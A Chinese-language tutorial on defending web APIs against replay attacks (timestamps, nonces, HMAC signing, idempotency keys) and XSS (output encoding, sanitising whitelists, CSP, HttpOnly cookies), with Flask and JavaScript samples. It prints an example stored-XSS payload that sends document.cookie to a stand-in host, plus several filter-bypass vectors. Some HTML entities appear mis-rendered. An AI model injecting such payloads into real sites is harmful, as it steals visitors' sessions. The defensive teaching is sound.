重放攻击和 XSS 注入是 Web 安全里最常被提起、但又最容易被做得“半吊子”的两个问题。重放攻击本身没什么惊天动地的技术含量，就是把你发出去的请求原样再发一遍，可它造成的后果往往是重复下单、重复扣款、投票被刷，这类业务事故一旦发生，开发背锅都背得莫名其妙。XSS 注入则是另一条线上的问题，攻击者把一段脚本安全地送进你的页面，然后你的浏览器就帮他干活了——偷 Cookie、篡改页面内容、冒充你发消息，什么都干得出来。
我在实际项目里见过不少系统，接口签名做了、HTTPS 也上了，但最后依然被重放攻击打穿；也见过前端自以为过滤了所有输入，却因为一个输出点没编码，整站沦陷。这篇文章就把这两条线从头到尾捋清楚：它们到底怎么发生、防护方案为什么这么设计、代码怎么落地、上线后有哪些坑，全程按我自己的实战经验来写。适合刚接触安全的后端开发、需要独立负责接口安全的全栈开发者，也包括那些想在面试里把这类问题讲清楚的求职者。
1. 动手前先看清敌人的攻击路径
1.1 重放攻击靠的是什么
重放攻击的可怕之处在于，攻击者根本不关心你的加密有多强。他不需要破解你的密码，也不需要篡改你的请求内容，他只需要把某个请求完整地复制下来，然后在另一个时间点原样发送出去。
举个例子。一个支付接口长这样：
POST /api/payment Content-Type: application/json {"order_id": "20240001", "amount": 100, "from": "user_A", "to": "user_B"}如果服务端收到这个请求后就直接执行扣款、转账，那么攻击者把这个请求抓下来，换个账号、换个网络环境再发一次，服务端只要没有识别出“这又是同样的请求”，就会再执行一次扣款。这不是什么高深黑客技术，就是最原始的“抄作业”，但造成的损失却是实打实的。
想要理解防护方案，得先理解重放攻击成立的前提。它需要两个条件：第一，请求中没有任何“这次有效”的标记；第二，服务端没有记住“这个请求我已经处理过了”。换句话说，只要请求能携带一个“一次性凭证”，服务端又能验证这个凭证的有效性并做到仅使用一次，重放攻击就会被卡死。后面讲到的 timestamp、nonce、签名，本质都是在解决这两件事。
1.2 XSS 注入的三种常见形态
XSS 全称是跨站脚本攻击（Cross-Site Scripting）。它的攻击路径和重放攻击完全不同——重放攻击欺负的是服务端不记录状态，XSS 欺负的是浏览器太听话。
举一个最典型的存储型 XSS 例子。假设你的网站有个评论区，用户提交评论时填了下面这段内容：
<script>fetch('https://evil.example/steal?cookie=' + document.cookie)</script>如果服务端不做任何处理就把这段内容存进数据库，之后任何一个用户打开这个评论区页面，浏览器都会把这一行当作 HTML 标签解析并执行。结果是，每个访客的 Cookie 都被悄悄传给了攻击者，攻击者拿到 Cookie 后就可以冒充别人登录。
XSS 按触发位置分为三类：
- 存储型 XSS：恶意脚本被持久化保存在服务器上，所有访问该页面的用户都会中招。评论区、用户昵称、富文本内容都是高发区。
- 反射型 XSS：恶意脚本藏在 URL 参数里，服务端把参数原样拼到响应页面里，用户只要点击了攻击者精心构造的链接就会触发。
- DOM 型 XSS：脚本不经过服务端，直接在浏览器端操作 DOM 时被注入。前端用了
innerHTML、document.write这类接口，又没对数据做转义，就容易中招。
很多人以为“只要过滤了<script>标签就安全了”，实际上绕过手段多得很：<img src=x onerror=alert(1)>、<svg onload=...>、javascript:alert(1)、还有各种编码变形，黑名单思路在这种对抗里永远处于劣势。
1.3 为什么把这两个问题放在一起讲
表面上看，一个是请求层的攻击，一个是浏览器层的攻击，但本质都在讲同一件事：信任边界。
服务端默认相信“凡是发到我这里的请求都是真实用户的操作”，所以重放攻击能得逞；浏览器默认相信“凡是页面里解析出来的 HTML 都是网站自己的代码”，所以 XSS 能得逞。防护的本质就是打破这种默认信任——服务端必须验证每一个请求的新鲜度和完整性，浏览器必须把用户可控的数据当作普通文本而不是代码来对待。
这个思维贯穿整篇文章。你理解了这个底层逻辑，后面设计防护方案就会发现其实很顺：防重放是对请求做“新鲜度+一次性”验证，防 XSS 是对数据做“输入分类+输出编码+执行策略”管控。两者叠加，才是完整的 Web 安全底线。
2. 重放攻击的防护体系：一次性凭证与完整性校验
2.1 时间戳与时间窗口
防重放的第一步，是给请求加上时间标记。客户端在发起请求时带上当前的时间戳，服务端收到后检查这个时间戳是否在允许的时间窗口内。比如我设置 300 秒（5 分钟）窗口，超过 5 分钟的请求直接拒绝。
这是最基础的一道闸门，它解决的是“过期请求”的问题——攻击者就算拿到了一个请求包，只要过了时间窗口，这个包就报废了。
实现上有个细节需要注意，服务端要有一定的宽容度。客户端服务器时钟不一致是常态，尤其是用户手机时间改乱了、跨时区访问都会导致时间戳偏差。所以校验时不是判断“等于当前时间”，而是判断“是否落在 ±300 秒范围内”：
import time def check_timestamp(ts: int, window: int = 300) -> bool: now = int(time.time()) return abs(now - ts) <= window但只有时间戳是不够的。因为攻击者可以在时间窗口内立刻重放，比如请求发出后 2 秒内就被抓包重放，服务端根本没有拒绝的理由。所以还需要第二道闸门——Nonce。
2.2 Nonce：每个请求都只能成功一次
Nonce 是一次性随机数，客户端每次请求都生成一个唯一值，服务端记录所有已经使用过的 Nonce。同一个 Nonce 如果再次出现，说明这是一个重放的请求，直接拒绝。
Nonce 的实现有三个注意点。第一是唯一性，一般用 UUID 或带随机成分的字符串，核心保证同一客户端在同一请求里不会重复；第二是必须和时间戳绑定，只验 nonce 不验时间戳是很多人犯的错误，攻击者可以把一个合法 nonce 保存下来，过几天再用来重放，照样会被接受；第三是服务端要有存储和过期清理机制，不可能无限记住所有 nonce。
我常用的方式是存 Redis，用SETNX命令判断是否已存在，并设置与时间窗口一致的过期时间：
import uuid import redis r = redis.Redis(host="localhost", port=6379, db=0) def verify_nonce(nonce: str, timestamp: int, window: int = 300) -> bool: # 非时间窗口内直接拒绝 if abs(int(time.time()) - timestamp) > window: return False # SETNX 返回 True 表示设置成功，说明 nonce 第一次出现 return bool(r.set(nonce, "1", nx=True, ex=window))这里用了 Redis 的原子操作，避免了“先查再设”两步操作在并发下可能产生的竞态问题——两个请求同时判断同一个 nonce 不存在时都放行，那就白做了。一定要用带原子性的SETNX，这是实战中容易踩的关键点。
2.3 签名：既防篡改，也防重放
有了时间戳和 nonce 还缺一个东西：你怎么知道请求里的参数没被改动过？攻击者虽然不能重放旧请求，但他可以抓到一个合法请求后，把里面的转账金额改了再发出来，时间戳和 nonce 都是新的，照样能通过校验。
这就需要消息认证码。客户端用约定好的密钥对请求参数做 HMAC 哈希，服务端用同样的密钥重新计算一遍，两边不一致就说明参数被人动过手脚。
典型的签名参数组合是：
sign = HMAC_SHA256(secret, app_id + timestamp + nonce + sorted_params)客户端把所有参数按固定顺序拼接，加上时间戳和 nonce，用密钥做 HMAC 运算，生成一串签名字符串。服务端拿到请求后，用同样的参数组合和同样的密钥重新计算签名，比对两个结果。这里有两个细节：
- 拼接顺序要固定，否则两边算出来不一致。
- 密钥绝不能放前端。明文密钥一旦泄露，任何人都能自己伪造合法签名。
这里就要把前面几道防线串起来理解：签名保证请求内容没被篡改，时间戳保证请求没过期，nonce 保证请求没被重放。三者是不可分割的一套组合，少了任何一个都会打开攻击面。
2.4 业务层的幂等性兜底
就算上面几层全部做对了，现实里还是会漏。因为有些重放不发生在 HTTP 层面——可能是客户端网络重试机制自动重发了，可能是消息队列重复投递了，也可能攻击者绕过了你的网关，直接把请求打到内部服务上。HTTP 层的防护挡不住这些情况。
所以在业务层，任何涉及资金、库存、状态变更的接口都必须具备“幂等性”。所谓幂等，就是同一个操作执行一次和执行多次结果相同。具体做法通常是：
- 客户端生成一个全局唯一的幂等键（Idempotency Key），比如订单号、流水号。
- 服务端在处理请求前先去数据库查这个键是否已经存在。
- 已存在就直接返回上次的结果，不再重复执行。
我在某个支付改造项目中就是给数据库表加上request_id唯一索引，插入时如果违反唯一约束，就说明请求已经处理过，直接返回已处理的结果。这种兜底设计比 HTTP 层的防重放更可靠，因为它即使面对完全一样的请求，也能靠数据库的唯一索引挡住重复写入。
3. XSS 注入的防护体系：一层一层地收紧浏览器执行边界
3.1 输入验证与输入清洗，先把最脏的入口管住
很多团队的 XSS 防护只做了一步“过滤输入”，然后以为万事大吉。实际上输入验证处理得好，能挡住大量低水平攻击，但只靠它不可能完全解决 XSS，原因后面会说。
输入验证要解决的核心是两方面：数据类型必须合法，长度必须被限制。比如用户的年龄字段，只允许 0-120 的数字；订单金额字段，只允许最大两位小数的数字；用户昵称，限制在 20 个字符以内。这些约束不是为了防 XSS 本身，而是为了减少攻击者的操作空间——一旦某个字段允许了超出预期的字符集，后续编码和过滤的难度都会剧增。
对于确实需要接受 HTML 的内容，比如富文本编辑器，就必须引入白名单机制，而不是黑名单。白名单的思路是“只有列出来的标签和属性才允许”，其余一律剔除。常见的富文本白名单标签包括p、br、strong、a、ul、ol、li等，而script、iframe、object在默认情况下绝不出现。属性方面，href只允许http、https、mailto等协议，on*事件属性一律禁止。
一个细节：即使做了白名单，<a href="javascript:alert(1)">这种写法还是可能在合法标签里藏脚本，所以协议白名单也是必须的。这一层不是为了完美，是为了把攻击面压缩到可用代码后续处理的范围内。
3.2 输出编码：XSS 防护的真正核心
前面说输入过滤不能解决 XSS，因为现实中有太多场景根本不该过滤输入——用户可以在评论区写一篇包含代码示例的技术文章，你总不能把<都改成<存进数据库吧？正确做法是“存原文，在输出时编码”。
输出编码的原则是：在什么上下文输出，就用什么编码。因为 HTML 解析器、属性值环境、JavaScript 环境、CSS 环境对特殊字符的解释都不一样，不能一个函数走天下。
| 输出位置 | 需要转义的字符 | 转义后示例 |
|---|---|---|
| HTML 正文 | <、>、&、"、' | <script> |
| HTML 属性值 | 引号、空格、& | " |
| JavaScript 字符串 | '、"、\、换行符 | \x27 |
| URL 参数 | 空格、&、#、% | %20、%26 |
| CSS 上下文 | 引号、反斜杠、控制字符 | \22 |
发现没有——同一个<script>，在 HTML 正文里编码成<script>就安全了，但如果它被拼接到<script>标签内的 JS 代码里，HTML 编码反而没用，你必须做 JavaScript 上下文的转义。区分输出上下文，是我见过所有 XSS 防护失效案例里最普通却又最致命的一步。
大多数现代框架自带输出编码机制。以 Vue 为例，模板里的插值表达式{{ userInput }}默认自动转义；React 里{userInput}也是转义后输出。但这不意味着你可以完全不写防护代码，因为框架的自动转义只覆盖模板输出，如果你用了v-html或dangerouslySetInnerHTML，就等于主动关掉了防护。
3.3 CSP：即使前面全漏了，还有最后一道防线
内容安全策略（Content Security Policy）是一个 HTTP 响应头，用来告诉浏览器“这个页面允许加载哪些资源、执行哪些脚本”。配置得当的 CSP 可以让你在前面所有防护都失效的情况下，依然把 XSS 的攻击效果降到最低。
一个比较基础的 CSP 模板：
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-随机值'; style-src 'self' 'nonce-随机值'; img-src 'self' data:;它的含义是：所有资源默认只允许来自同源地址；脚本和样式只允许同源加载，且必须带正确的 nonce 属性；图片允许同源和 data 协议。也就是说，就算攻击者把<script>alert(1)</script>注入了页面，由于该脚本既不是同源文件，也没有正确的 nonce，浏览器会直接拒绝执行。
CSP 的难点在于配置粒度。配得太松形同虚设，配得太紧会导致线上业务瘫痪——比如你用了第三方统计脚本、地图脚本、cdn 资源，没有在 CSP 里列出来就会被拦。所以正确做法是分两步走：先以Content-Security-Policy-Report-Only模式上线，只收集违规报告不拦截，观察一段时间确认没有误伤后再切换成强制模式。这个上线策略很多人都不知道，直接上强策略，结果前端页面全瘫，只好连夜回滚。
3.4 Cookie 防护：让偷到手的凭证失去价值
XSS 攻击的核心目的之一是偷 Cookie。如果你的 Cookie 设置了 HttpOnly 属性，document.cookie 就读取不到它，XSS 就算执行成功也拿不到你最重要的会话凭证。
同样是设置 Cookie 时，还有几个属性值得认真对待：
HttpOnly：禁止 JavaScript 读取，保护会话 Cookie。Secure：仅允许 HTTPS 传输。SameSite=Lax/Strict：限制跨站请求携带 Cookie，对 CSRF 也有一定防护作用。Domain不要过度放宽，只在最精确的域名下设置。
有人会问，HttpOnly 是不是就彻底防住 XSS 偷 Cookie 了？不是，攻击者还可以通过 XSS 直接调用接口操作，比如改密码、发文章。所以 Cookie 防护只是减少损失，不能替代输出编码和 CSP。
4. 从零开始实现一个带防重放和防 XSS 的接口
4.1 整体设计
我拿一个真实的模拟项目来演示——某个系统的转账接口。客户端需要发起转账，服务端要保证两点：同一个请求不能被重复执行，任何注入脚本都影响不到后续页面。
整个流程是这样：
- 客户端生成
timestamp和nonce，对请求参数做 HMAC 签名。 - 服务端校验签名是否一致、时间戳是否在窗口内、nonce 是否已使用。
- 业务处理前检查幂等键，重复请求直接返回原结果。
- 任何从数据库取出来要渲染到页面上的内容，输出前统一做编码处理。
- 全局响应加 CSP 头。
我用 Python Flask 来写服务端代码，方便展示核心逻辑。
4.2 签名生成与校验
先定义密钥与参数排序规则：
import hashlib import hmac import time import uuid from flask import Flask, request, jsonify # 实际项目中这个密钥应存放在配置中心或环境变量，绝不能硬编码 APP_SECRET = "your-very-secret-key" app = Flask(__name__) def generate_sign(params: dict, timestamp: int, nonce: str) -> str: # 参数名排序后拼接，保证前后端计算一致 keys = sorted(params.keys()) raw = "&".join(f"{k}={params[k]}" for k in keys) raw = f"{raw}×tamp={timestamp}&nonce={nonce}" return hmac.new(APP_SECRET.encode(), raw.encode(), hashlib.sha256).hexdigest()服务端校验函数：
def verify_sign(params: dict, timestamp: int, nonce: str, sign: str) -> bool: expect = generate_sign(params, timestamp, nonce) return hmac.compare_digest(expect, sign)这里用了hmac.compare_digest，而不是普通字符串相等比较。原因是普通==在比较过程中只要遇到第一个不匹配字符就会终止，存在时间侧信道攻击的风险；compare_digest会保证整个字符串的每一个字符都被比较，耗时恒定。
4.3 时间戳与 Nonce 校验中间件
from functools import wraps REDIS_CLIENT = None # 实际项目中初始化 Redis 连接 def anti_replay_check(f): @wraps(f) def wrapper(*args, **kwargs): data = request.get_json(force=True, silent=True) or {} timestamp = data.get("timestamp", 0) nonce = data.get("nonce", "") sign = data.get("sign", "") params = {k: v for k, v in data.items() if k not in ("timestamp", "nonce", "sign")} # 1. 时间窗口校验 if abs(int(time.time()) - int(timestamp)) > 300: return jsonify({"code": 401, "msg": "request expired"}), 401 # 2. 签名校验 if not verify_sign(params, int(timestamp), nonce, sign): return jsonify({"code": 403, "msg": "invalid sign"}), 403 # 3. nonce 唯一性校验（原子操作） if not REDIS_CLIENT.set(nonce, "1", nx=True, ex=300): return jsonify({"code": 403, "msg": "replay detected"}), 403 return f(*args, **kwargs) return wrapper我在实际项目里会把时间窗口设成 300 秒，原因有两个：一是给客户端留出充裕的重试时间，二是对绝大多数业务来说 5 分钟足够久，再长就没有意义了——真正需要客户能重试更久的是离线支付场景，那种场景应该走独立的防重放机制，而不是无限延长全局窗口。
4.4 业务幂等性处理
这一层跟 HTTP 防重放解耦。即使前面的层全部被绕过，数据库也能兜底。在转账表里加一个request_id字段并建立唯一索引：
ALTER TABLE transfer_records ADD COLUMN request_id VARCHAR(64) NOT NULL; ALTER TABLE transfer_records ADD UNIQUE INDEX idx_request_id (request_id);业务代码里的逻辑是：先尝试插入，违反唯一约束就说明已经处理过。
from sqlalchemy.exc import IntegrityError @app.route("/api/transfer", methods=["POST"]) @anti_replay_check def transfer(): data = request.get_json() request_id = data["request_id"] try: db.session.add(TransferRecord(request_id=request_id, ...)) db.session.commit() except IntegrityError: db.session.rollback() return jsonify({"code": 200, "msg": "duplicate request, returning original result"}) # 执行实际的转账逻辑 ...这种设计下，HTTP 层挡住绝大多数攻击者，业务层兜底应对重试、重复投递、内部调用绕过等情况。两层各自独立，任何一个失效都不会导致致命问题。
4.5 XSS 防护落地：一个基于白名单的清洗函数
先把服务端返回的一段用户内容做安全清洗。这里我写一个简单但实用的白名单清洗函数，用于富文本场景：
import re from html import escape ALLOWED_TAGS = {"p", "br", "strong", "em", "a", "ul", "ol", "li", "blockquote", "code", "pre"} ALLOWED_ATTRS = {"a": {"href", "title"}} ALLOWED_SCHEMES = {"http", "https", "mailto"} def sanitize_html(value: str) -> str: """极简白名单清洗器。生产环境建议使用成熟的 HTML 清洗库。""" # 1. 用正则找出所有标签，逐个判断是否在白名单内 def replace_tag(match): full_tag = match.group(0) tag_name_match = re.match(r"</?([a-zA-Z0-9]+)", full_tag) if not tag_name_match: return escape(full_tag) tag_name = tag_name_match.group(1).lower() if tag_name not in ALLOWED_TAGS: return escape(full_tag) # 2. 检查属性 attr_part = re.search(r"<[^>]+>", full_tag).group(0) allowed_attrs = ALLOWED_ATTRS.get(tag_name, set()) attrs = re.findall(r'([a-zA-Z-]+)\s*=\s*"([^"]*)"', attr_part) cleaned_attrs = [] for name, val in attrs: name_lower = name.lower() if name_lower not in allowed_attrs: continue if name_lower == "href": scheme = val.split(":", 1)[0].lower() if scheme not in ALLOWED_SCHEMES: continue val = escape(val, quote=True) cleaned_attrs.append(f'{name_lower}="{val}"') if tag_name == "a": return f"<a {' '.join(cleaned_attrs)}>" if cleaned_attrs else "<a>" return f"<{tag_name}{' ' + ' '.join(cleaned_attrs) if cleaned_attrs else ''}>" return re.sub(r"<[^>]+>", replace_tag, value)注意函数名我写的是“极简”，真实生产里我绝不会手写这种正则清洗器，因为 HTML 解析远比正则复杂，各种畸形标签会让你防不胜防。有成熟的 HTML 清洗库可以少踩很多坑。这里展示正则版只是为了解释“白名单”的实现思路。
4.6 CSP 全局配置与前端联动
服务端给所有页面响应统一加 CSP 头：
@app.after_request def set_security_headers(response): response.headers["Content-Security-Policy"] = ( "default-src 'self'; " "script-src 'self' 'nonce-随机值'; " "style-src 'self' 'nonce-随机值'; " "img-src 'self' data:; " "object-src 'none'; " "base-uri 'self'; " "frame-ancestors 'self'" ) response.headers["X-Content-Type-Options"] = "nosniff" response.headers["X-Frame-Options"] = "DENY" return response前端这边，Vue 或 React 项目里，凡是用了v-html、dangerouslySetInnerHTML的地方，要显式先跑一遍清洗函数再做插值。至于请求签名，前端可以用一个请求拦截器统一处理：
async function signRequest(url, params) { const timestamp = Math.floor(Date.now() / 1000); const nonce = crypto.randomUUID(); // 参数排序拼接，与后端规则保持一致 const keys = Object.keys(params).sort(); const raw = keys.map(k => `${k}=${params[k]}`).join("&") + `×tamp=${timestamp}&nonce=${nonce}`; const sign = await hmacSHA256(raw, APP_SECRET); // 使用 Web Crypto API return { ...params, timestamp, nonce, sign }; }这个示例中有一个问题：密钥APP_SECRET一旦放在前端，就等于公开了。真正的安全做法是客户端先向服务端申请一个临时签名密钥（比如基于 OAuth 客户端的短期 token），或者由服务端下发一次性签名参数。我这里只是为了演示签名计算的流程，实际项目请务必把密钥控制在服务端。
5. 上线前后最容易踩的坑
5.1 服务器时间不同步，请求被大量误杀
我第一次上线时间戳防重放时，就遇到一个诡异的现象：iOS 用户的请求大量报“request expired”，安卓用户却一切正常。排查到最后发现是部分 iOS 设备开启了“自动设置时间”后系统时间本身就慢了几分钟，导致请求时间戳比服务器晚太多。解决方案不是让用户校准手机，而是服务端把时间窗口放宽到 300 秒甚至更长，或者引入“最大允许时钟偏差”配置项，针对不同类型的客户端给不同的容差。
5.2 Nonce 的 Redis 过期时间没设置，内存爆了
另一个高频问题：nonce 校验时只写了SETNX，没设置过期时间。刚开始流量小没感觉，等上线一个月，Redis 里攒了一堆永远不会再被查询的 nonce，内存持续上涨。正确做法是设置过期时间，并且过期时间要大于时间戳窗口——这是必须的，如果 nonce 在时间窗口内就过期了，攻击者就能把窗口内的 nonce 拿到过期后再重放。
5.3 CSP 上线后第三方资源全部被拦
CSP 的唯一难点是“既要安全又要可用”。上线前务必先把所有页面引用的外部资源全部列出来，包括统计脚本、在线客服、地图、CDN、字体文件、图片域名。我踩过的坑是页面里有一个第三方字体加载失败，整个页面的字体全部回退，视觉上看起来像出了 bug。
建议先开Content-Security-Policy-Report-Only模式，把违规报告接收到自己的日志服务，至少观察一周真实流量，确认没有漏掉任何必要的资源，再正式开启拦截。
5.4 富文本清理把正常内容也清坏了
白名单标签列表给得太小，会让用户正常的排版内容被洗掉。比如你没放table标签，用户从 Word 里复制过来的表格直接被删光；没放span，文字颜色样式全丢。这类问题不是安全风险，但业务方会找你吵架。所以白名单列表一定要根据真实业务场景梳理，特别是有编辑器的系统，最好结合编辑器导出的 HTML 结构来配置。
5.5 误判重放：前端重试机制与防重放打架
还有一个常见的业务冲突：客户端网络不好时自动重试，但每次重试都带了同一个 nonce，结果服务端把正常重试请求当成重放攻击拒绝了。解决办法是让重试请求生成新的 nonce，但保留相同的request_id。HTTP 层看是“新请求”，业务层通过request_id识别为同一笔业务，幂等逻辑会保证不会重复处理。两种机制各管一层，分工明确，就不会冲突。
6. 一些补充的检查清单
把前面所有内容浓缩成一张表，适合在代码 review 和上线前自查：
| 检查项 | 说明 | 常见错误 |
|---|---|---|
| 时间窗口校验 | 请求是否在允许的时间范围内 | 窗口设得过大，等于没有 |
| Nonce 一次性 | 每个请求是否仅能使用一次 | 只用了随机数但没存状态 |
| 签名完整性 | 参数是否被篡改 | 使用普通==比较而非恒定时间比较 |
| 幂等键 | 业务层是否防重复执行 | 依赖数据库主键但没处理冲突 |
| 输入验证 | 类型、长度、格式是否受限 | 只做前端校验，后端不校验 |
| 输出编码 | 是否按上下文正确转义 | 一句代码在 HTML 和 JS 中混用同一编码 |
| CSP | 是否限制脚本执行来源 | 直接上强策略导致线上功能失效 |
| Cookie 属性 | HttpOnly/Secure/SameSite 是否设置 | 登录 Cookie 未设 HttpOnly |
按这套清单逐条核对下来，你的接口安全水位至少能覆盖大部分常规攻击路径。要特别说明的是，安全是一个持续对抗的过程，没有任何一套配置能保证永远安全，但把这几件基础的事情做扎实，绝大多数入门级攻击者就会被挡在门外。
最后分享一个我自己的心得：做安全防护不要想着一步到位。先按照“时间戳 + Nonce + 签名 + 幂等键 + 输出编码 + CSP”的顺序逐步搭起来，每一层都独立验证，再上线观察效果。很多团队一上来就想搞一套完美方案，结果半年都没落地，反倒是从最基础的时间戳和输入校验开始改，两周就能见效。安全改造这种事，先跑起来比追求完美重要得多。
